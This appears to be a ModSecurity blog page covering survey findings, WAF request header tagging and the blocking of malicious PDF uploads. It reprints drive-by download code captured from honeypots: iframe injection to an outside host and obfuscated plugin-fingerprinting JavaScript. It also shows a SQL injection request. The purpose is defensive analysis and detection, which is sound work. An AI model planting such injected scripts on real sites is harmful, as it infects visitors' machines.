  • Contact for error messages, in particular false positives analysis in collaboration with the application manager
  • Close cooperation with the WAF application managers and platform managers
  • Test of WAF functionalities for the application, especially when deploying new versions of the application

Knowledge:

  • In-depth knowledge of the WAF configuration in relation to application-specific security mechanism
  • Very good knowledge of the behaviour of the application, in particular input, output, uploads, downloads, character sets, etc.

ChartExport17

Analysis:

In general, a false positive rate of >10% isn't bad.  The main issue is when you fact in any blocking methods being used.  If a rule is incorrectly disrupting non-malicious user activities then it can become a big problem.  Interestingly, anyone who actually answered this question is more then likely in a smaller subset of ModSecurity users who actually do spend time reviewing their logs!  People who don't review their logs can't answer this question.

 

ChartExport18

Analysis:

The people who answered the they are in DetectionOnly mode more than likely don't have enough time to properly tune their rules to their application environment which means they have a higher degree of false positives.  The users who answered that they are in a Blocking mode have been able to tune and therefore have a higher comfort level with taking action.

 

ChartExport19

Analysis:

Let me ask a question - an attacker figures out some sort of evasion for your current signatures, how are you ever going to know what happened?  Or look at it from this perspective - say that you identify someone attacking your site and then you initiate incident response and the CISO asks you to provide logs of *everything* that user did.  Will you be able to do this?  Unfortunately, most users run ModSecurity in an "Alert-centric" mode in which audit logs are only created when rules match.  This is a shame as it is missing one of its greatest strengths - HTTP Auditing.  If you want to do session reconstruction, you MUST audit log all transactions.  Now, this being said, you can still choose to not log requests for static content (such as images, etc...) and this will drastically cut down on the number of transactions being logged.

ChartExport20

Analysis:

While there are use-cases for utilizing different disruptive actions, I am becoming more and more of a fan simply emulating how the application responds currently to similar threats.  Does it do a redirect back to the homepage or throw a 403 alerts?  Whatever it is, simply mimic that response so that it is not as easy for an advanced attacker to enumerate that fact that you are running a WAF. 

 

ChartExport21

Analysis:

Hopefully the new "Advanced Topic of the Week" blogpost series is helping to shed some light on these features and capabilities.

 

 

ChartExport22

Analysis:

As I mentioned in the previous section, we are trying to provide more data about how to actually use these advanced ModSecurity features.

 

 

 

 

Advanced Topic of the Week: Request Header Tagging

Request Header Tagging

Wouldn't it be cool if your WAF could share its data with the application it is protecting?  This concept is similar to anti-SPAM SMTP apps that will add additional mime headers to emails providing the SPAM detection analysis information. The CRS is attempting to mimic this concept at the HTTP layer by adding additional request headers that provide insight into any ModSecurity events that may have triggered during processing. The advantage of this approach is that it allows a WAF to be in a detection-only mode while still providing attack data to the destination application server. The recieving app server may then inspect the WAF request headers and make a determination whether or not to process the transaction. This concept is valuable in distributed web environments and hosting architectures where a determination to block may only be appropriate at the destination app server.

This concept has actually been discussed as part of the OWASP AppSensor Project and we have added a new Detection Point for it entitled - RP2: External User Behavior

ID

RP2

TITLE

Suspicious External User Behavior

CATEGORY

Reputation

DESCRIPTION

External (to the application) devices and systems (e.g. host and network IDS, file integrity monitoring, disk usage monitoring, anti-malware service, IPS, network firewall, web application firewall, web server logging, XML gateway, database firewall, SIEM) detect anomalous behavior by the user (e.g. session and/or IP address).

This information can be used by the application to contribute to its knowleage about a potential attacker. In some cases, the information could be detected by the application itself (e.g. XSS pattern black listing), but may be more effectively identified by the external device, or is not known to the application normally (e.g. requests for missing resources that the web server sees, but does not pass onto the application).

CONSIDERATION

The greater the knowledge a device or system has about the application, the greater confidence can be given to evidence of suspicious behaviour. Therefore, for example, attempted SQL injection detexcted by a web application firewall (WAF) might be given greater weight than information from a network firewall about the IP address.

The power of AppSensor is its accuracy and low false positive rate, and the usage of external data should be carefully assessed to ensure it does not contribute to a higher false positive rate.

EXAMPLES

Example 1: An IDS has detected suspicious activity by a particular IP address, and this is used to temporarily tighten the attack detection thresholds for requests from all users in the same IP address range.

Example 2: An application is using the ModSecurity web application firewall with the Core Rule Set, and utilises the anomaly score data passed forward in the X-WAF-Events and X-WAF-Score HTTP headers (optional rules in modsecurity_crs_49_header_tagging.conf) to adjust the level of application logging for each user.

Example 3: Information from an instance of PHPIDS suggests request data may be malicious.

CODE

[Java] [.Net] [PHP]

optional_rules/modsecurity_crs_49_header_tagging.conf

This rule set file will take all of the TX attack variable data and populate Apache ENV variables that Apache can then use to add X-WAF-Event request header data to the request.

Example showing the consolidated X-WAF-Events and X-WAF-Score data -

GET /path/to/foo.php?test=1%27%20or%20%272%27=%272%27;-- HTTP/1.1
Host: www.example.com 
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
X-WAF-Events: TX: / 999935-Detects common comment types-WEB_ATTACK/INJECTION-ARGS:test, TX:999923-Detects JavaScript location/document property access and window access obfuscation-WEB_ATTACK/INJECTION-REQUEST_URI_RAW, TX:950001- WEB_ATTACK/SQL_INJECTION-ARGS:test
X-WAF-Score: Total=48; sqli=2; xss=
Connection: Keep-Alive

 

Welcome Aboard Breno Silva

I am excited to announce that Breno Silva has joined Trustwave's SpiderLabs Research Team where he will be serving as the new ModSecurity Development Lead.  Breno has recently been working on the OISF team to develop Suricata.  

Here is a little background info on Breno - he is a computer scientist with over 8 years experience in Information Technology, experienced with a wide range of software development techniques and languages, security systems and network technologies. Breno brings a deep mathematical education, supporting research and algorithm design for network anomaly detection mechanisms in high-speed networks. Breno resides in Brasília, Brazil.

Please join me in welcoming Breno!

Advanced Topic of the Week: Preventing Malicious PDF File Uploads

Many reports have indicated that malicious PDFs that exploit flaws in Adobe's Acrobat Reader are the top client-side attack vectors.  As indicated in many news stories and backed up by the WASC WHID real-time reporting, planting of malware on websites is a major problem for web site owners.  The last thing that they want to do is to serve malicious code to their clients.  There are many different methods for adding malicious code to web applications including:

Speaking from first hand knowledge gained from monitoring web-based honeypots, I can attest to the drive-by downloading methodology used in a majority of these attacks.  They initially inject some small javascript/iframe snippet of code into the application and then they bounce the web web requests around until finally they send the malicious code.

Initial injection into the index.html page:

document.writeln("<iframe  src='http://www.xxxxx9.cn/images/pic/84.htm' width='100' height='0'></iframe>");

This takes you to the 84.htm page which checks the browser's User-Agent string and then redirects the user to the appropriate following page:

<script language="javascript" src="http://count11.51yes.com/click.aspx?id=110639713&logo=12" charset="gb2312"></script>
<script>
if(isFirefox=navigator.userAgent.indexOf("\x46\x69\x72\x65\x66\x6F\x78")>0)
document.write("<iframe src=he.htm width=100 height=0></iframe>");
if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69\x65\x20\x37")==-1)
document.write("<iframe width=100 height=0 src=test.htm></iframe>");
gggggg = "<iframe src=02.htm width=100 height=0></iframe>";
if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69\x65\x20\x37")>0)
document.write(gggggg);
document.write("<iframe src=pp.htm width=100 height=0></iframe>");</script>
<script src="http://bgadf.cn/images/css/ads.js"></script>

This then leads to the pp.htm page which checks for different browser plugins include AcroPDF:

<script>
try{var a;
var p=new ActiveXObject("AcroPDF.PDF.1");}
catch(a){}; 
finally{if(a!="[object Error]"){document.write("<iframe width=100 height=0 src=p.htm></iframe>");}}
try{var b;
var ff=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}
catch(b){}; 
finally{if(b!="[object Error]"){document.write("<iframe width=100 height=0 src=f.htm></iframe>");}}
try{var c;
var f=new ActiveXObject("OWC10.Spreadsheet");}catch(c){}; 
finally{if(c!="[object Error]"){aacc = "<iframe src=of.htm width=111 height=111></iframe>"
setTimeout("document.write(aacc)", 10000 );}}
function Game()
{
Hdmddd = "IERPCtl.IERPC"+"tl.1";
try
{
Gime = new ActiveXObject(Hdmddd);
}catch(error){return;}
Tellm = Gime.PlayerProperty("PRODUCTV"+"ERSION");
if(Tellm<="6.0.14.552")
document.write("<iframe width=100 height=0 src=r.htm></iframe>");
else
document.write("<iframe width=100 height=0 src=r.html></iframe>");
}
Game();
</script>

If your browser has the AcroPDF plugin, it will then be sent to the p.htm page which simply includes an iframe to download the final malicious pdf file called "pef.pdf":

<iframe src=pef.pdf width=0 height=0></iframe>

A quick check on the VirusTotal website lists the following data:

AntivirusVersionLast UpdateResult
AhnLab-V3 2010.10.05.00 2010.10.04 -
AntiVir 7.10.12.136 2010.10.05 HEUR/HTML.Malware
Antiy-AVL 2.0.3.7 2010.10.05 -
Authentium 5.2.0.5 2010.10.05 PDF/Pidief.O
Avast 4.8.1351.0 2010.10.05 JS:ShellCode-B
Avast5 5.0.594.0 2010.10.05 JS:ShellCode-B
AVG 9.0.0.851 2010.10.05 -
BitDefender 7.2 2010.10.05 Exploit.PDF-JS.Gen
CAT-QuickHeal 11.00 2010.10.05 -
ClamAV 0.96.2.0-git 2010.10.05 BC.PDF.Parser-4.MalwareFound
Comodo 6290 2010.10.05 -
DrWeb 5.0.2.03300 2010.10.05 Exploit.PDF.181
Emsisoft 5.0.0.50 2010.10.05 -
eSafe 7.0.17.0 2010.10.05 -
eTrust-Vet 36.1.7893 2010.10.05 -
F-Prot 4.6.2.117 2010.10.04 PDF/Pidief.O
F-Secure 9.0.15370.0 2010.10.05 Exploit.PDF-JS.Gen
Fortinet 4.2.249.0 2010.10.05 -
GData 21 2010.10.05 Exploit.PDF-JS.Gen
Ikarus T3.1.1.90.0 2010.10.05 -
Jiangmin 13.0.900 2010.10.05 -
K7AntiVirus 9.63.2680 2010.10.05 -
Kaspersky 7.0.0.125 2010.10.05 Exploit.JS.Pdfka.ju
McAfee 5.400.0.1158 2010.10.05 -
McAfee-GW-Edition 2010.1C 2010.10.05 -
Microsoft 1.6201 2010.10.05 Exploit:JS/Mult.AG
NOD32 5506 2010.10.05 JS/Exploit.Pdfka.NKB
Norman 6.06.07 2010.10.05 JS/Shellcode.EP
nProtect 2010-10-05.02 2010.10.05 Exploit.PDF-JS.Gen
Panda 10.0.2.7 2010.10.05 -
PCTools 7.0.3.5 2010.10.02 Trojan.Generic
Prevx 3.0 2010.10.05 -
Rising 22.67.02.07 2010.09.30 -
Sophos 4.58.0 2010.10.05 Troj/PDFJS-CJ
Sunbelt 6990 2010.10.05 Exploit.PDF-JS.Gen (v)
SUPERAntiSpyware 4.40.0.1006 2010.10.05 -
Symantec 20101.2.0.161 2010.10.05 Downloader
TheHacker 6.7.0.1.048 2010.10.04 -
TrendMicro 9.120.0.1004 2010.10.05 -
TrendMicro-HouseCall 9.120.0.1004 2010.10.05 -
VBA32 3.12.14.1 2010.10.05 -
ViRobot 2010.10.4.4074 2010.10.05 -
VirusBuster 12.67.4.0 2010.10.05 -

 

If you had not kept up with your Adobe Acrobat updates, or as it seems more and more frequently, if the badguys have 0-day PDF reader exploits, then your system will get pwned...

File Upload Abuse

While these attack vectors are prevalent, another vector that is often used is to abuse an applications own file upload capability to plant malicious files on the site for other clients to download later.  Allowing clients to upload files to your web application can potentially cause big problems however many businesses require this functionality.

If you must allow for file uploads in your web application, I strongly encourage you to review the OWASP Unrestricted File Upload vulnerability page.  While it is certainly possible to attack the web application platform itself, the salient point to highlight in this blog post is the following section:

Attacks on other systems

  • Upload .exe file into web tree - victims download trojaned executable
  • Upload virus infected file - victims' machines infected
  • Upload .html file containing script - victim experiences Cross-site Scripting (XSS)

This means that the end goal of the attack is to use the web applications own file upload mechanism in order to spread malicious files to other clients.  So, the question them becomes "How can we analyze these file attachments being uploaded in order to prevent any malicious ones from making into our web application?"

Don't be fooled into thinking that this an easily solved question.  Many business owners erroneously believe that you can use your standard AV software to scan the file.  What they fail to grasp is the fact that AV software typically only scan OS leve files and these file attachments are usually transient in the HTTP transaction.  They often traverse reverse proxy servers, load-balancers, etc... until they are finally stored inside a database in a blob format.  OS level AV software scanning won't really help in this situation.  So how can we do AV scanning of HTTP file attachment uploads?

ModSecurity's @inspectFile operator provides the capability to extract out file attachments so that they can be examined by OS level validation tools.  Older versions of ModSecurity also include a perl script called modsec-clamscan.pl that can be used to have clamAV scan the extracted file attachments.  Keep in mind that you are not tied to using only clamAV.  You can use any script/tool that you want to inspect a file's contents.  In this example we are going to show using the @inspectFile operator in action.

In my modsecurity_crs_15_customrules.conf file, I add this example rule -

SecRule FILES_TMPNAMES "@inspectFile base_rules/modsec-clamscan.pl" "phase:2,t:none,log,deny,msg:'Malicous File Attachment Identified.'"

I then need to update the modsec-clamscan.pl file to adjust settings for my local system and call up the clamscan tool.  Now, if a user uploads a malicious PDF file, such as the "pef.pdf" example I gathered from the web honeyopts, it can be inspected by our modsec-clamscan.pl script.  If we send a fie attachment request with the pef.pdf file to our web server with the new rule, we will get a 403 Forbidden and see the following in the Apache error_log:

[Tue Oct 05 15:10:39 2010] [error] [client 127.0.0.1] ModSecurity: Access denied with code 403 (phase 2). File "/usr/local/apache/logs/uploads//20101005-151033-TKt4KcCoAWwAAQi@E78AAABA-file-x1hBCw" rejected by the approver script "/usr/local/apache/conf/modsec_current/base_rules/runav.pl": 0 clamscan: Exploit.PDF-72 [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"] [msg "Malicous File Attachment Identified."] [hostname "localhost"] [uri "/cgi-bin/fup.cgi"] [unique_id "TKt4KcCoAWwAAQi@E78AAABA"]

Identifying Malicious PDFs Through Advanced PDF Structure Analysis

While clamAV is an adequate free open for AV scanning, the old adage holds true: You get what you pay for.  PDF exploit development has advanced to such a degree that signature analysis along is not sufficient to identify malicious files.  What is needed is a heuristic analysis of the PDF structure to identify malicious characteristics.  It just so happens that one of my colleagues here on the Trustwave SpiderLabs Research Team, Rodrigo (@spookerlabs) Montoro has developed a really cool method based on this concept and he will be presenting it at the upcoming Toorcon conference.  Check out his blog post that lists some rather surprisingly low detection rates for malicious PDFs from the AV software used with VirtualTotal.  He created a script that checks various PDF structures  and scores the components.  Here is an example of running his script against a malicious PDF that clamAV did not trigger on:

Cross-Table must be bigger than 0 Suspect - Agenda.pdf with  xref 0 
xref not equal startxref Suspect - Agenda.pdf with  xref = 0 / startxref = 2 
One Page only PDF Suspect - Agenda.pdf with  /Page 1 
ObjStm (possible Malware embedded) Detected Suspect - Agenda.pdf with  /ObjStm 5 
AcroForm Detected Suspect - Agenda.pdf with  /AcroForm 1 
EmbeddedFile Detected Suspect - Agenda.pdf with  /EmbeddedFile 9 
Agenda.pdf Malicious PDF Detected - Score: 16.6

So, if we want to apply this PDF analysis check against our uploaded files, we simply need to update the format of the script output for use with the ModSecurity @inspectFile operator.  We need to make sure that the the first character is a "1" if the file is not malicious and a "0" if it is malicious.  After plugging in the new script to my SecRule, here is what I get when trying to upload this new malicious PDF that was missed by clamAV:

[Tue Oct 05 16:45:49 2010] [error] [client 127.0.0.1] ModSecurity: Access denied with code 403 (phase 2). File "/usr/local/apache/logs/uploads//20101005-164547-TKuOe8CoAWwAAQtvFKgAAACA-file-k6mpjv" rejected by the approver script "/usr/local/apache/conf/modsec_current/base_rules/pdf-analyze.pl": 0 pdfscan:  Malicious PDF Detected - Score: 2.6 [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"] [msg "Malicous PDF File Attachment Identified."] [hostname "localhost"] [uri "/cgi-bin/fup.cgi"] [unique_id "TKuOe8CoAWwAAQtvFKgAAACA"]

So as you can see, we can get more accurate results for identifying malicious PDF files uploaded vs. other AV software.  OK, now before you ask, access to Rodrigo's PDF analysis script is not ready for public release.  It will be released by Trustwave SpiderLabs at some point in the future.

Keep in mind that the @inspectFile operator is simply a type of API that will allow you to inspect file attachments.  It is up to you to decide which type of program you would like to plug-in and use.

Calendar

November 2010
Sun Mon Tue Wed Thu Fri Sat
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

Feeds

Atom Feed

Search

Categories

Recent Entries

Archives